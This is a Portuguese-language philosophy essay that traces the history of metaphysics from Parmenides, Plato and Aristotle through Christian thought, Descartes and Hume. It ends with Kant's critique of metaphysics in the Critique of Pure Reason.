A EVOLUÇÃO DA METAFÍSICA E A CRÍTICA KANTIANA

A EVOLUÇÃO DA METAFÍSICA E A CRÍTICA KANTIANA

 A EVOLUÇÃO DA METAFÍSICA E A CRÍTICA
KANTIANA

Ricardo Ernesto Rose
Jornalista e Licenciado em Filosofia

“Pensar a ciência como
busca da verdade é renovar uma fé mística, a fé de Platão e Agostinho, de que a
verdade governa o mundo, de que a verdade é divina.” (Gray, 2006)

Introdução

Origens e
evolução da metafísica:

A metafísica como disciplina filosófica tem sua origem em
Aristóteles, que caracterizava sua “filosofia primeira” como “o estudo do ser
enquanto ser”. No livro IV da Metafísica, Aristóteles faz a seguinte afirmação:
“Há uma ciência que investiga o ser como ser e as propriedades que lhe são
inerentes devido à sua própria natureza” (Aristóteles, 2006).

As origens da metafísica, no entanto, remontam ao período anterior
ao estagirita. Já Parmênides de Eléia estabelece o início da ontologia,
afirmando que “o Ser é, o Não-Ser não é”; “o Ser é único e imutável”. Este Ser
único e imutável foi posteriormente transformado por Platão no mundo das
essências, em contraposição ao mundo sensível, o mundo das aparências. O mito
da caverna, famosa metáfora elaborada por Platão e descrita no livro VII da
República é uma referência ao mundo das essências, onde se encontram todas as
idéias; uma clara referência ao Ser de Parmênides. Escreve Platão: “Quanto a
mim, a minha opinião é esta: no mundo inteligível a idéia do bem é a última a
ser apreendida, e com dificuldade, mas não se pode apreendê-la sem concluir que
ela é a causa de tudo o que de reto e belo existe em todas as coisas; no mundo
visível, ela engendrou a luz e o soberano da luz; no mundo inteligível, é ela
que é soberana e dispensa a verdade e a inteligência; e é preciso vê-la para se
comportar com sabedoria na vida particular e pública.” (Platão, 2004).

O posicionamento de Aristóteles em relação à filosofia já é
diferente de seus antecessores. Não faz distinção entre um mundo sensível e
outro inteligível, a exemplo de Platão. A essência das coisas, segundo
Aristóteles, está nas próprias coisas e é tarefa da filosofia, mais
especificamente da metafísica, conhecê-las. As coisas estão em constante
transformação, diz Aristóteles, e através de um constante aperfeiçoamento estas
esperam encontrar sua essência divina, equiparando-se assim ao ser divino, o
Primeiro Motor Imóvel. A essência ou ousía é a realidade ultima de um
ser e é esta – chamada substância – que é o objeto de estudo da metafísica.
Explica Aristóteles no livro VII da Metafísica: “Respondemos que se não há uma
substância além das que são naturalmente compostas, a física será a ciência
primeira; mas se há uma substância que não está sujeita ao movimento, a ciência
que estuda essa substância será anterior à física e será a filosofia primeira,
e neste sentido, universal, porque é primeira. E caberá a essa ciência
investigar o ser enquanto ser – tanto o que é quanto os atributos que lhe
pertencem enquanto ser.” (Aristóteles, 2006).

A metafísica aristotélica e o platonismo
serão posteriormente incorporados à filosofia cristã, dando origem à metafísica
cristã. Pelo lado da filosofia grega foram importantes três escolas de
pensamento distintas: o neoplatonismo, o estoicismo e o gnosticismo. O
neoplatonismo era uma filosofia baseada em Platão, mas com fortes tendências
místicas. Criou uma dicotomia bastante forte entre matéria e espírito – mundo
sensível e mundo inteligível – que foi de grande influência na doutrina e
filosofia cristã posterior. Do estoicismo a filosofia cristã absorveu o
conceito da Razão Universal, que governa toda a realidade de acordo com um
plano e à qual os estóicos davam o nome de Providência. O gnosticismo, por sua
vez, era um dualismo metafísico, afirmando a existência de dois princípios –
Bem e Mal – que governavam o universo e estavam constantemente em luta. Para o
gnosticismo era possível alcançar a Verdade e o Bem intelectualmente. “Para
eles, o contato com a divindade é um assunto pessoal e direto e intransferível;
isto é, não se precisa nem nunca se precisou da intermediação de uma casta
sacerdotal. E se para eles a origem de todos os males está na matéria, o mal
maior não é o pecado herdado do casal original, Adão e Eva, e sim a profunda
ignorância em que estamos mergulhados, e que corrompe nossa existência.”
(Fiorillo, 2008).

O cristianismo fez um amálgama com estas escolas
filosófico-religiosas – afora outras que indiretamente também contribuíram para
o cristianismo primitivo, como a filosofia cínica e cética, o maniqueísmo, o
mitraísmo – e formou o que posteriormente veio a ser conhecido como a filosofia
cristã e metafísica cristã. Evidentemente que se trata de assunto para
especialistas, mas valeria a pena um estudo da influência de todas estas
filosofias e doutrinas religiosas na formação da metafísica cristã,
incorporando os conceitos de um Deus criador, pessoal, trinitário; da alma
imortal; da criação do mundo ex nihilo; da não-contradição entre a
liberdade humana – o livre arbítrio – e a onipotência e onisciência de Deus.
Assim serão estas as idéias que balizarão toda a metafísica ocidental, desde o
pensamento patrístico de Agostinho, passando pela escolástica com Tomás de
Aquino, até o início da era moderna, quando então diversos conceitos
metafísicos passam a perder a credibilidade.

A partir de Descartes a
filosofia passa por uma reestruturação, principalmente a metafísica.
Diferentemente da tradição até então vigente, que dizia haver tantas
substâncias quanto havia gêneros e espécies, os modernos filósofos falavam em
três substâncias: a pensante (o homem); a extensa (os corpos) e a infinita
(Deus). Com estes conceitos, os empiristas e racionalistas elaboraram
diferentes visões da metafísica, que basicamente se apoiavam nos conceitos de
substância pensante, extensa e infinita.

Desenvolvimento

A crítica da metafísica:

A metafísica, de uma maneira ou de outra, já vinha sofrendo
críticas desde o início da Era Moderna. Estes detratores, vivendo em um
ambiente cultural ainda dominado pela igreja católica – sempre apoiada na ação
da Inquisição –, eram perseguidos e atacados, muitas vezes classificados como
ímpios e ateus. Em relação a este período relata o historiador Georges Minois:
“Quando Voltaire acusa Descartes de influenciar o ateísmo, claro, não estava
inteiramente errado. Na origem das idéias mais evidentes, na origem do cogito,
está a dúvida metódica, de que não se sai tão facilmente como o filósofo
julga.” (Minois, 2004).

A metafísica clássica ou
moderna desde Descartes vinha se apoiando na idéia de que o pensamento
humano possui a capacidade de conhecer a realidade como ela é em si mesma
(conhecer “o ser do ser”). Isto significa, em outras palavras, que as idéias
correspondem à realidade e esta correspondência era garantida por um Ser
infinito (Deus). Esta relação era sustentada por três princípios básicos da
filosofia, desde Aristóteles: a) o princípio de identidade; b) o princípio da
não-contradição; c) o princípio de causalidade.

Na Inglaterra do século XVIII surge o filósofo empirista David
Hume, que coloca em questão todos estes princípios da metafísica ao afirmar que
tais pressupostos não existiam – e consequentemente não eram idéias que
tínhamos “impressas” em nossas mentes – tratando­se apenas de hábitos mentais,
resultado de repetições constantes, que observamos na natureza. Assim também os
conceitos metafísicos de substância, alma, matéria, causa-efeito, forma, etc.,
seriam apenas conceitos que povoam nossas mentes, fruto da associação de idéias
(resultantes de percepções) e sem nenhum fundamento real. Sobre a posição
indefensável da metafísica, Hume escreve: “Esta é, na verdade, a objeção mais
justa e mais aceitável contra uma parte considerável da metafísica que não
forma propriamente uma ciência, mas brota tanto pelos esforços estéreis da
vaidade humana que queira penetrar em recintos totalmente inacessíveis à
inteligência humana, como pelos artifícios das superstições populares que,
incapazes de se defenderem lealmente, arquitetam essas sarças emaranhadas, para
cobrir e proteger suas fraquezas” (Hume 2007). Depois de Hume a metafísica não
poderia mais ser a mesma, como vinha sendo praticada desde os gregos.

A posição de
Kant:

O primeiro filósofo a levar a sério a crítica de Hume ao
pensamento metafísico foi Immanuel Kant. Segundo ele mesmo declara, Hume o
havia acordado de seu “sono dogmático”, forçando-o a repensar toda a validade do
conhecimento e refazendo, assim, a filosofia ocidental. Kant assume a tarefa de
colocar a filosofia sobre bases mais sólidas, interrogando-se sobre as próprias
possibilidades da razão. Segundo Georges Pascal, Kant levanta duas grandes
questões: 1) Como é possível explicar a existência de conhecimentos certos e
racionais na matemática e na física?; e 2) É possível que exista tal
conhecimento na metafísica? A resposta à primeira pergunta proporcionaria a
solução da segunda, “pois é pela reflexão sobre como a matemática e a física
chegaram a certezas a priori que descobriremos as possibilidades da razão”.
(Pascal, 2007).

A grande “revolução copernicana” de Kant,
a reestruturação que dá à filosofia, é na realidade a substituição, em teoria
do conhecimento, de uma hipótese idealista por outra realista. O realismo
admite que a realidade nos é dada através das impressões, fazendo com que o
espírito tenha uma atitude passiva. Esta é a posição epistemológica criticada
por Hume. O idealismo parte do pressuposto de que o espírito intervém na
elaboração do conhecimento e que a realidade é resultado desta construção. Os
objetos assim como os conhecemos são em parte elaboração nossa e é por isso que
podemos ter um conhecimento a priori. Assim, Kant conclui que nosso saber sobre
a realidade “longe de coincidir com a verdade absoluta das coisas, é todo ele
travejado por elementos inscritos na nossa faculdade de conhecer, cuja
estrutura antecede a experiência e determina os parâmetros no interior dos
quais ela se torna possível” (Figueiredo, 2005).

No entanto, apesar de partir da crítica humeana, Kant, todavia,
não adere totalmente as suas teses, por serem demasiadamente céticas. Para Kant
trata-se de reformar a filosofia, estabelecer os limites da metafísica, mas
manter o primado da razão. Hume com sua filosofia colocava em risco mesmo o
conhecimento da natureza, que, segundo ele, baseava-se na indução e não na
razão. Cabia, então, achar um novo caminho para estruturar a possibilidade do
conhecimento. Essa iniciativa de Kant parte de uma posição idealista: a razão
não depende das coisas e nem é regulada por elas; mas são as coisas que
dependem da razão e por ela são condicionadas. Assim, o filósofo faz a
distinção entre as duas formas de conhecimento: o que depende do objeto e
constitui a matéria do conhecimento; e o que depende do sujeito e constitui a
forma de conhecimento. Com relação a este ponto escreve Kant na “Crítica da
Razão Pura”: “Sensação é o efeito que um objeto causa na capacidade de
representação, quando o mesmo objeto nos afeta. A intuição é chamada de
empírica quando, mediante sensação, refere-se ao objeto. Fenômeno é o objeto
indeterminado de uma intuição empírica. Matéria é o que no fenômeno corresponde
à sensação. Forma é o que o múltiplo do fenômeno, em determinadas relações,
deve ser ordenado.” (Kant, 2007).

Segundo Kant, apesar de
possuirmos conhecimento a priori, como das proposições matemáticas, nem todo
conhecimento a priori tem o mesmo valor. Para explanar bem a diferença entre
certo tipo de conhecimento, Kant faz a distinção entre juízos analíticos e
juízos sintéticos. O primeiro extrai conhecimento do próprio sujeito, por
simples análise. Como exemplo, Kant cita o fato de que todos os corpos são
extensos. O conceito, neste caso, está no próprio sujeito – todo corpo tem
extensão. O juízo sintético é aquele cujo predicado acrescenta alguma coisa ao
sujeito, por exemplo: todos os corpos são pesados. É através dos juízos que as
coisas passam a existir para nós, por se tornarem objeto de nosso conhecimento.
Uma coisa passa então a existir quando pode tornar-se objeto de conhecimento de
uma estrutura a priori universal da razão humana, aquilo que Kant denominou
como Sujeito Transcendental.

Para Kant existem dois tipos de realidade.
A primeira, aquela que recebemos através da sensibilidade e das categorias e
que se transforma em fenômeno. A segunda, que não se oferece à experiência e
não recebe formas e categorias, permanece sendo o noumeno,a coisa-em-sí,
inapreensível e misteriosa ao conhecimento humano. A metafísica – pela
definição filosófica – era aquele conhecimento que se ocupava de entes que eram
dados ao pensamento sem qualquer relação com a experiência. No entanto, de
acordo com Kant só podemos conhecer aquilo que apreendemos no tempo e no
espaço, segundo as formas do conhecimento. O que extrapolava disso, o que
estava fora desta classificação, era o noumeno, o objeto da metafísica,
impossível ao nosso conhecimento. Desta forma, todos os conceitos anteriores da
metafísica, como: ser imaterial, Deus, alma, infinito, etc., não tinham mais
nenhum fundamento racional, já que não eram objeto da percepção e, desta forma
não eram mais objeto de estudo da filosofia.

Conclusão e
comentário:

Eliminando assim
a possibilidade de conhecer os entes metafísicos, Kant acaba com a fatuidade de
uma metafísica. Na dialética transcendental o filósofo mostra que as provas da
existência de Deus – a cosmológica, a ontológica e a teológica – tão
valorizadas pela metafísica tradicional, não tem fundamento racional. “A grande
originalidade de Kant consiste provavelmente em ter tido a audácia de colocar
uma pergunta que aflorava constantemente nos discursos filosóficos referentes à
verdade desde Platão, mas que jamais, creio, nenhum pensador havia radicalizado
verdadeiramente. Kant, em suma, tem a audácia excepcional de colocar a
pergunta: Como é possível a verdade? Desde sempre os filósofos, em particular
os grandes metafísicos clássicos – Descartes, Spinoza, Malebranche, Leibniz –
tinham como evidente que a verdade existia.” (Châtelet, 1993). No entanto,
apesar de provar a impossibilidade da metafísica e de seus pressupostos, Kant
foi sempre um entusiasta da disciplina e tentou mais tarde – na Crítica da
Razão Prática – retomar as provas metafísicas baseado nos argumentos morais,
com fundamento na liberdade. Assim, a ética tornou-se o grande tema da
metafísica, como estudo da Razão Prática.

A metafísica depois de Kant nunca mais foi a mesma de
antes. Com seu sistema filosófico Kant acabou transformando a teoria do
conhecimento em metafísica, afirmando que esta investiga possibilidade de um
conhecimento universal e necessário. Outro aspecto importante é que o filósofo
mostrou que o sujeito do conhecimento é uma estrutura universal, compartilhada
por todos os seres humanos; a razão ou Sujeito Transcendental. A realidade é
assim estruturada pelas idéias, produzidas pelo sujeito. Com isso a metafísica
torna-se uma exteriorização das idéias do sujeito, isto é, torna-se idealista.
“Kant mostrou que pensamos “legitimamente” os objetos metafísicos, sem cair em
contradição conosco. Mas Kant mostrou que do ponto de vista teórico esta
correspondência (entre nossas idéias e a existência de entes metafísicos)
necessariamente não é verdadeira. Mas, por outro lado, a filosofia de Kant
também demonstrou que se por um lado não é possível provar os conceitos
metafísicos, por outro lado também não é possível provar sua inexistência.”
(Bento Prado Jr., s/d).

Bibliografia

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